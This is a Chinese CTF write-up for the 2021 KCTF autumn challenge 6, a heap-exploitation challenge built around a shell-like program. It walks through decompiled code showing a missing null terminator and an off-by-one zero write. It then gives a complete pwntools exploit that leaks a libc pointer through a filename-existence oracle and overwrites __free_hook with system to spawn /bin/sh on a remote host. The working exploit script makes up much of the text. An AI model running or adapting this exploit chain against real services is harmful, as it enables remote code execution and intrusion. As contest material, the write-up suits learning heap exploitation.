-
-
[原创]2021KCTF秋季赛 ch6 窥伺者谁
-
2021-11-30 09:28 12110
-
题目是一个类似像shell一样的程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | void run() { size_t v0; / / rax size_t v1; / / rax write( 1 , "\n" , 1uLL ); v0 = strlen(username); write( 1 , username, v0); write( 1 , "@" , 1uLL ); v1 = strlen(hostname); write( 1 , hostname, v1); write( 1 , ":" , 1uLL ); pwd(); write( 1 , "$ " , 2uLL ); if ( !(unsigned int )read_n(sysbuf, 0x20u ) ) error(); if ( !strcmp(sysbuf, "pwd" ) ) { pwd(); } else if ( !strcmp(sysbuf, "ls" ) ) { ls(); } else if ( !strcmp(sysbuf, "mkdir" ) ) { mkdir_handler(); } else if ( !strcmp(sysbuf, "cd" ) ) { cd(); } else if ( !strcmp(sysbuf, "cat" ) ) { cat(); } else if ( !strcmp(sysbuf, "touch" ) ) { touch(); } else { if ( !strcmp(sysbuf, "exit" ) ) error(); if ( !strcmp(sysbuf, "rm" ) ) { rm(); } else if ( !strcmp(sysbuf, "echo" ) ) { echo(); } else { write( 1 , "unknow command\n" , 0xFuLL ); } } } |
其中所有用户输入都用到了sysbuf
这个buffer。
而仔细观察输入函数会发现,当长度正好等于max_length
时,输入不会被\x00截断。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | __int64 __fastcall read_n(char * a1, unsigned int max_len) { unsigned int ans_size; / / [rsp + 14h ] [rbp - Ch] unsigned int i; / / [rsp + 18h ] [rbp - 8h ] int tmp_read_size; / / [rsp + 1Ch ] [rbp - 4h ] ans_size = 0 ; for ( i = 0 ; i < max_len; + + i ) { tmp_read_size = read( 0 , &a1[i], 1uLL ); ans_size + = tmp_read_size; if ( tmp_read_size ! = 1 || a1[ans_size - 1 ] = = '\n' ) break ; } if ( !ans_size ) exit( - 1 ); if ( a1[ans_size - 1 ] = = '\n' ) / / may not zero end a1[ - - ans_size] = 0 ; return ans_size; } |
在echo
函数中存在如下一处输入,最长能输入0x5000:
1 2 3 4 | write( 1 , "arg> " , 5uLL ); buf_size = read_n(sysbuf, 0x5000u ); / / set sysbuf if ( !buf_size ) error(); |
借助\x00可以不截断的bug,就能让每次使用sysbuf时都拥有至多0x5000的长度。
在func_mkdir
中存在如下一个bug:
如果此处的dir_name
长度大于0x20,虽然strncpy没有问题,但后面零截断时使用的offset为strlen(dir_name)
,能够让攻击者在buffer指定偏移处写一个0字节。
1 2 3 | strncpy(new_node - >dir_name, dir_name, 0x20uLL ); v3 = new_node - >dir_name; v3[strlen(dir_name)] = 0 ; / / VULN: overflow zero |
一开始想着去修改dir_name的lsb,然后leak一些指针,但在pwd,ls等函数中都存在
check
函数,导致失败。
这里我的做法是通过堆排布,去修改其他file1的content指针的lsb,然后借助file1能够修改file2的content_length,之后修改file1的name指针到堆上的libc指针。
在echo
中存在这样一处逻辑:
1 2 3 4 5 | node = get_node(buff); if ( node && node - >is_file = = 1 ) write_to_file(node, sysbuf, buf_size); else write( 1 , "invalid path\n" , 0xDuLL ); |
攻击者可以无限次调用这段逻辑,通过回显判断一个文件名是否存在。
假设0x556d8e4b6e80处存在一个libc指针,我们可以先修改name的lsb为0x85,通过上述echo的逻辑爆破得到0x7f;再修改name的lsb为0x84,爆破得到0x7f19;由此往复得到完整指针。
1 2 3 4 5 6 | pwndbg> hex 0x556d8e4b6e80 8 + 0000 0x556d8e4b6e80 20 b1 e3 63 19 7f 00 00 pwndbg> hex 0x556d8e4b6e80 + 5 8 + 0000 0x556d8e4b6e85 7f 00 00 20 b1 e3 63 19 pwndbg> hex 0x556d8e4b6e80 + 4 8 + 0000 0x556d8e4b6e84 19 7f 00 00 20 b1 e3 63 |
最后修改content指针到libc的freehook改为system getshell。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 | #!/usr/bin/env python3 #coding=utf8 import re import inspect import sys import os import subprocess as sp from pwn import * context.log_level = 'debug' local = 1 if len (sys.argv) > 1 : local = 0 if local: cn = process( './chall' ) pass else : cn = remote( '101.35.172.231' , 10000 ) pass def tobytes(x): return x.encode( 'latin1' ) if isinstance (x, str ) else x def sd(x): return cn.send(tobytes(x)) def sl(x): return cn.sendline(tobytes(x)) def sa(a, b): return cn.sendafter(tobytes(a), tobytes(b)) def sla(a, b): return cn.sendlineafter(tobytes(a), tobytes(b)) def rv(x = 0x1000 ): return cn.recv(x) def rl(): return cn.recvline() def ru(x): return cn.recvuntil(tobytes(x)) def raddr(): return u64(cn.recvuntil(b '\n' )[: - 1 ].ljust( 8 , b '\x00' )) def raddrn(x): return u64(rv(x).ljust( 8 , b '\x00' )) def interact(): return cn.interactive() def ss(s): return success(s) def logsym(val): for line in inspect.getframeinfo(inspect.currentframe().f_back)[ 3 ]: m = re.search(r '\blogsym\s*\(\s*([A-Za-z_][A-Za-z0-9_]*)\s*\)' , line) if m: varname = m.group( 1 ) ss(f "{varname} => {hex(val)}" ) else : ss( hex (val)) ############################################ context.arch = 'amd64' def touch(filename): sla( '$' , 'touch' ) sla( '>' ,filename) def evil_touch(filename): sla( '$' , 'touch' ) sa( '>' ,filename) def echo_to_file(filename,content): sla( '$' , 'echo' ) sla( '>' ,content) sla( '>' , 'y' ) sla( '>' ,filename) def echo(content): sla( '$' , 'echo' ) sla( '>' ,content) sla( '>' , 'n' ) def mkdir(dirname): sla( '$' , 'mkdir' ) sla( '>' ,dirname) def rm(filename): sla( '$' , 'rm' ) sla( '>' ,filename) def cd(path): sla( '$' , 'cd' ) sla( '>' ,path) def ls(path): sla( '$' , 'ls' ) sla( '>' ,path) cd( 'tmp' ) # dir 0 mkdir(f 'd_0' ) cd(f 'd_0' ) touch(f "f_0" ) echo_to_file(f "f_0" , 'A' * 0x20 ) touch(f "f_1" ) echo_to_file(f "f_1" , 'B' * 0x40 ) cd( '..' ) # dir 1 mkdir(f 'd_1' ) cd(f 'd_1' ) for i in range ( 0x10 ): touch(f "ff_{i}" ) echo_to_file(f "ff_{i}" , 'C' * 0x10 ) cd( '..' ) # out of tmp cd( '..' ) echo_to_file(f "tmp/d_0/f_1" , '\x00' * 0x480 ) echo_to_file(f "tmp/d_0/f_0" , 'A' * 0x40 ) echo( 'X' * 0xc8 ) # evil offset, edit tmp/d_0/f_1->content lsb cd( 'tmp/d_0' ) evil_touch( 'X' * 0x20 ) # trigger bof cd( '../..' ) # edit tmp/d_1/ff_15 content size to 0xffffffff echo_to_file(f "tmp/d_0/f_1" ,p64( 0xffffffff )) padding = flat( 'X' * 0x10 , 0 , 0x491 , 'Q' * 0x480 , 0 , 0xb1 , '\x00' * 0xa0 , ) touch( 'NNNN' ) echo_to_file(f "NNNN" , '\x00' * 0x640 ) touch( 'MMMM' ) # before top-thunk echo_to_file(f "NNNN" , '\x00' * 0x700 ) def crack_libc_ptr(): def crack_byte(): for ch in reversed ( range ( 0x100 )): if ch = = 10 : continue pay = flat( p8(ch) + ans[:: - 1 ] ) echo_to_file(pay, 'Q' ) d = ru( 'ch3cke' ) if b 'invalid' not in d: return ch raise Exception( "crack byte failed" ) length = 5 ans = bytearray([ 0x7f ]) for i in reversed ( range ( 1 ,length)): pay = flat( padding, 0 , 0xb1 , p64( 1 ), '\x00' * 0x88 , p8( 0x80 + i), ) echo_to_file(f "tmp/d_1/ff_15" ,pay) ch = crack_byte() ans.append(ch) ans.append( 0x20 ) # lsb return u64(ans[:: - 1 ].ljust( 8 ,b '\x00' )) libc_ptr = crack_libc_ptr() logsym(libc_ptr) lbase = libc_ptr - 0x3ec120 logsym(lbase) sh = lbase + 0x1b3e9f freehook = lbase + 0x3ed8e8 system = lbase + 0x4f440 # edit freehook to system pay = flat( padding, 0 , 0xb1 , p64( 1 ), '\x00' * 0x88 , p64(sh), p64(freehook) ) echo_to_file(f "tmp/d_1/ff_15" ,pay) echo_to_file( 'sh' ,p64(system)) # call freehook("/bin/sh") echo_to_file(f "tmp/d_1/ff_15" , "/bin/sh\x00" ) rm(f "tmp/d_1/ff_15" ) interact() |
[2023春季班]《安卓高级研修班(网课)》月薪两万班招生中~
最后于 2021-11-30 09:30
被hxzene编辑
,原因: